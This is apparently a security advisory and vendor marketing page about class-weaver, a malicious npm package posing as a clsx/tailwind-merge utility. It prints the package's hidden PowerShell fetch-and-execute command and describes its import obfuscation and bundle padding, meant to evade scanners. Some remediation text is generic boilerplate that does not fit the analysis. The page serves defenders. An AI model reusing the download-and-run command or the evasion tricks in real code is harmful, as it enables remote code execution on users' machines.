Which versions of class-weaver are malicious?

The following npm versions of class-weaver are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate class-weaver if I installed it?

class-weaver is a typosquat — you almost certainly intended a legitimately-named package. Remove class-weaver, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed class-weaver — how do I know if it already compromised me?

If class-weaver was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is class-weaver part of a known attack campaign?

Yes — class-weaver is associated with the IN-MAL-2026-004521 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find class-weaver across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for class-weaver (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging class-weaver across your stack and pipelines.

Malicious package

class-weavernpm

Malicious code in class-weaver (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4521

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall class-weaver

What this malware does

class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for class-weaver (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging class-weaver across your stack and pipelines.
If you installed it — respond
class-weaver is a typosquat — you almost certainly intended a legitimately-named package. Remove class-weaver, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If class-weaver was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks class-weaver before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. class-weaver on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004521

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks class-weaver-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring